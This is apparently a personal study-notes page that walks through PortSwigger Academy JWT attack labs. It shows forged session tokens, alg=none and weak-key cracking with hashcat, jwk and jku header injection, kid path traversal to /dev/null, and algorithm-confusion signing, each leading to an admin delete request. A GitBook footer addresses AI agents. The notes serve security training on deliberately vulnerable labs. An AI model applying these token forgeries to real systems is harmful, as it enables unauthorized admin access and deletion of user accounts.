> For the complete documentation index, see [llms.txt](https://cel1s0.gitbook.io/offsec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cel1s0.gitbook.io/offsec-notes/portswigger-academy/advanced-topics/jwt-attacks.md).

# JWT attacks

### Lab: JWT authentication bypass via unverified signature

This lab uses a JWT-based mechanism for handling sessions. Due to implementation flaws, the server doesn't verify the signature of any JWTs that it receives.

```
GET /my-account HTTP/1.1
...
Cookie: session=eyJraWQiOiIxNjkwNzIyOS04NmUxLTRmMDQtYjc4Ny02YjU2MDE3YzI1NGQiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY1NzkzMjIyM30.FTJoWINsLqOmZD4pQ9kTvIsO5yDTtc0cxjsO4PG12ltBO5hUMqDlRi5JErrKakx6NgOHC-vnTevB_4YngLTUor0B14CH_PFan7UK9Y3fub0ClDzG9SBZjyvvqCAkAczmXhQ4Raooi2h40vKN5E6DVv8AnQuDle1UbGedqaH_CP5D72JT77ufRAq8R94GX0rtA739RUNi3BzdV0vSszCmqpp6MeCiYKROJb-0Ukce32kDMO-abxHSpz04Tq3OB2DmEdZm7Aq6BYxyCgPmyFoTsJbqEL5A24PZnfPfDBaU_OQln51ANEhtcJJzyjVt7A63VFoAZJ3_3dHz_EOI5-we1g

eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY1NzkzMjIyM30
{"iss":"portswigger","sub":"wiener","exp":1657932223}
```

**Solution:**

Change sub value to administrator in JWT

```
GET /admin/delete?username=carlos HTTP/1.1
...
Cookie: session=eyJraWQiOiIxNjkwNzIyOS04NmUxLTRmMDQtYjc4Ny02YjU2MDE3YzI1NGQiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NTc5MzIyMjN9%3d%3d.FTJoWINsLqOmZD4pQ9kTvIsO5yDTtc0cxjsO4PG12ltBO5hUMqDlRi5JErrKakx6NgOHC-vnTevB_4YngLTUor0B14CH_PFan7UK9Y3fub0ClDzG9SBZjyvvqCAkAczmXhQ4Raooi2h40vKN5E6DVv8AnQuDle1UbGedqaH_CP5D72JT77ufRAq8R94GX0rtA739RUNi3BzdV0vSszCmqpp6MeCiYKROJb-0Ukce32kDMO-abxHSpz04Tq3OB2DmEdZm7Aq6BYxyCgPmyFoTsJbqEL5A24PZnfPfDBaU_OQln51ANEhtcJJzyjVt7A63VFoAZJ3_3dHz_EOI5-we1g

eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NTc5MzIyMjN9
{"iss":"portswigger","sub":"administrator","exp":1657932223}
```

### Lab: JWT authentication bypass via flawed signature verification

This lab uses a JWT-based mechanism for handling sessions. The server is insecurely configured to accept unsigned JWTs.

```
GET /my-account HTTP/1.1
...
Cookie: session=eyJraWQiOiI4YTExZDA5Ni05YjAyLTRjMWEtYWIxNy1iNGM2NDBiMmJiNTEiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY1NzkzNDI0OX0.f6pPAUtoMiNSzXeHB0EiB_iGk7ISuj-cAVTmEoXGDMtYc6fqrO1Xe755TNLZUd3aQOeBcFjOLkrrCnWi96dz4lUKHWkwI0L66msFsUvSjamTjY3xTmE3uzpJfimLGsQ-pA45oiB2XdQz7_Zw52Qy_9Jt5joqrqe1pNzOUWK6stmKa2BlRdPuwOHtqVsvKqe7bi03bbJyK3LX0qeXvbHfeE0IkSbRIp4Chc0NsuhhjJvQUd2nFwDNa6msQFDgE4HP-MY43VkvlgjgoMaA0akBlTR2W8RMZHNgbXoBXETCidjdSWOIONZtneGZ1h7f5Dc05hwns5h6jVEQS1NaCIj2VQ

{"kid":"8a11d096-9b02-4c1a-ab17-b4c640b2bb51","alg":"RS256"}
{"iss":"portswigger","sub":"wiener","exp":1657934249}
```

**Solution:**

Change alg to none and sub to administrator in JWT

```
GET /admin/delete?username=carlos HTTP/1.1
...
Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NTc5MzQyNDl9.

{"typ":"JWT","alg":"none"}
{"iss":"portswigger","sub":"administrator","exp":1657934249}
```

### Lab: JWT authentication bypass via weak signing key

This lab uses a JWT-based mechanism for handling sessions. It uses an extremely weak secret key to both sign and verify tokens. This can be easily brute-forced using a wordlist of common secrets.

```
GET /my-account HTTP/1.1
...
Cookie: session=eyJraWQiOiI2NGFkOTFjMS02MjNlLTRhNzktYTMxZC1jNDgxNWVkODFmOTAiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY1NzkzMzAwNX0.3ZatTM8izwdgUi4vXyPy8R93OFgw5GfmPzSrir7KhOc
```

Save JWT value to a file

Wordlist - <https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list>

```
$ wget https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list

$ hashcat -a 0 -m 16500 jwt jwt.secrets.list
```

**Solution:**

Generate JWT Key with JWT Editor plugin -> New Symmetric Key -> Replace k value with base64 encoded secret

Replace sub parameter to administrator in JWT, then Sign it with the signing key <- You can do it on JSON Web Token tab in the Repeater

To complete, make a request to this url with the newly signed JWT:&#x20;

`GET /admin/delete?username=carlos HTTP/1.1`

### Lab: JWT authentication bypass via jwk header injection.

This lab uses a JWT-based mechanism for handling sessions. The server supports the `jwk` parameter in the JWT header. This is sometimes used to embed the correct verification key directly in the token. However, it fails to check whether the provided key came from a trusted source.

**Solution:**

In JWT Editor Keys tab -> Generate New RSA Key - 2048

Replace sub parameter to administrator in JWT, then choose Attack option with Embedded JWK -> choose generated RSA key

To complete, make a request to this url with the newly signed JWT:&#x20;

`GET /admin/delete?username=carlos HTTP/1.1`

### Lab: JWT authentication bypass via jku header injection

This lab uses a JWT-based mechanism for handling sessions. The server supports the jku parameter in the JWT header. However, it fails to check whether the provided URL belongs to a trusted domain before fetching the key.

In JWT Editor Keys tab -> Generate New RSA Key - 2048

In Exploit Server -> Set Body with the RSA key some contents:

```
{
    "keys": [
        {
            "kty": "RSA",
            "e": "AQAB",
            "kid": "822fec3e-6f3f-4ebe-9a65-c099750b6826",
            "n": "4d64ZIJQh3s0bNAcHJO0enWnRshpbOVpNjBlPBWuJOgxyG6aqFHwgpzMVh2EzyhwB9GeFrWwxjfVGhJlC22fHa6WSh3_ITBXUuQyw1ZggvmSpOqxNZN63uO9SXERR2zpbVMsjO7vlPvuZJjWq6ydbhh45qBhWQ_48KiyPlIORqM4YeaXX6R9LjoL9-yjhUv43VVYoc2oo6MypjEg_nxm2xTHu_-2rzss9kQa9S5m5d7N-EuT7YK_Vsal9gqOuxC1zuvtW0J2g1eOjVObXGTJQJfOILwpEWt1d3HivdVj6-24gknIVIqL4TYPSyNWW85cJqU5UMyupUBGTui1b9JCPQ"
        }
    ]
}
```

Add jku value exploit server endpoint to header, Replace sub parameter to administrator in JWT, then choose sign option with Don't modify header -> choose generated RSA key

```
Header:
{
    "kid": "822fec3e-6f3f-4ebe-9a65-c099750b6826",
    "typ": "JWT",
    "alg": "RS256",
    "jku": "https://exploit-0a710030043f2960c031d567017e00c4.web-security-academy.net/exploit"
}

Payload:
{
    "iss": "portswigger",
    "sub": "administrator",
    "exp": 1657934992
}
```

### Lab: JWT authentication bypass via kid header path traversal

This lab uses a JWT-based mechanism for handling sessions. In order to verify the signature, the server uses the kid parameter in JWT header to fetch the relevant key from its filesystem.

Generate JWT Key with JWT Editor plugin -> New Symmetric Key -> Replace k value with AA== -> Replace kid value to "../../../../../../../dev/null"

k value is an encoded null value, kid value will return null and then verified as null=null

Replace sub parameter to administrator in JWT, then Sign it with the signing key

To complete, make a request to this url with the newly signed JWT:&#x20;

`GET /admin/delete?username=carlos HTTP/1.1`

### Lab: JWT authentication bypass via algorithm confusion

This lab uses a JWT-based mechanism for handling sessions. It uses a robust RSA key pair to sign and verify tokens. However, due to implementation flaws, this mechanism is vulnerable to algorithm confusion attacks.

To solve the lab, first obtain the server's public key. This is exposed via a standard endpoint. Use this key to sign a modified session token that gives you access to the admin panel at `/admin`, then delete the user `carlos`.

The site gives a JWK containing a single public key on `/jwks.json` endpoint.

Generate JWT Key with JWT Editor plugin -> New RSA Key -> Paste contents of array in /jwks.json

After the creation, right click then choose "copy public key as pem" option

In Decoder Tab, encode the contents of it to Base64

Generate JWT Key with JWT Editor plugin -> New Symmetric Key -> Generate -> Replace k value with encoded the pem value

Replace sub parameter to administrator in JWT, replace alg parameter from RS256 to HS256, then Sign it with the symmetric key

To complete, make a request to this url with the newly signed JWT:&#x20;

`GET /admin/delete?username=carlos HTTP/1.1`

### Lab: JWT authentication bypass via algorithm confusion with no exposed key

This lab uses a JWT-based mechanism for handling sessions. It uses a robust RSA key pair to sign and verify tokens. However, due to implementation flaws, this mechanism is vulnerable to algorithm confusion attacks.

To solve the lab, first obtain the server's public key. Use this key to sign a modified session token that gives you access to the admin panel at `/admin`, then delete the user `carlos`.

To get 2 different JWT, login 2 time with wiener user, after getting 2 JWT:

```
# docker run --rm -it portswigger/sig2n <token1> <token2>

Found n with multiplier 1:
    Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF6U1BBM1RMYXpTQjZyNXphOXpIUQp2OUxHYnR0blB6M3dJaDM5eXhKbTJaSk1ZMVRaSVFWeW1WVWJwbzNMT3FwejVFNzRBeC81c21KbnhuOXNYSXpzCkR0MWVvbVZtTE5Wc25LSzg0QTVOcTY2eUdyOUptRTBnOWppM3QydWIxVXFyRUNnZ0o3YlVPa1NURW01ckFTTWQKcy9mczVSWm4xbzliL29KcDVwVDdybVdVZStRZ0d2bmViN0VyM1FFd21kanNjRi9PYTlpa2ZHNWdSbnk2YVZZWgpFYW04OXRDMEFzNk5jcnkvaStPV2VrcHN3THpaYURVUkY1NjJ1MCtvZmptN2RSWFNRUGErbDV5UmNlYWY1WFRTCmZNKzJSYTRFWU9UL2tmOU1mMzhOSU1lY3dDWWowV1drOWhIMjNuRFdreGJ6UTZLSTQ4c1Y3MU14ZXlpODNzRHkKZndJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
    Tampered JWT: eyJraWQiOiI0M2RhY2Y5ZS1jZTdhLTQ4NjQtOWE3Ni1hMTBjYmYyY2IxMGUiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAic3ViIjogIndpZW5lciIsICJleHAiOiAxNjU4MDY5ODgwfQ.rkq6-MbKzYHo6oEI6R9eFkwQGVyFZotfeaEDNUKAsDU
```

Replace the session cookie with this new tampered JWT and then send the request. It should get 200 response.

Generate JWT Key with JWT Editor plugin -> New Symmetric Key -> Generate -> Replace k value with Base64 encoded x509 key value

Replace sub parameter to administrator in JWT, replace alg parameter from RS256 to HS256, then Sign it with the symmetric key

To complete, make a request to this url with the newly signed JWT:&#x20;

`GET /admin/delete?username=carlos HTTP/1.1`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://cel1s0.gitbook.io/offsec-notes/portswigger-academy/advanced-topics/jwt-attacks.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
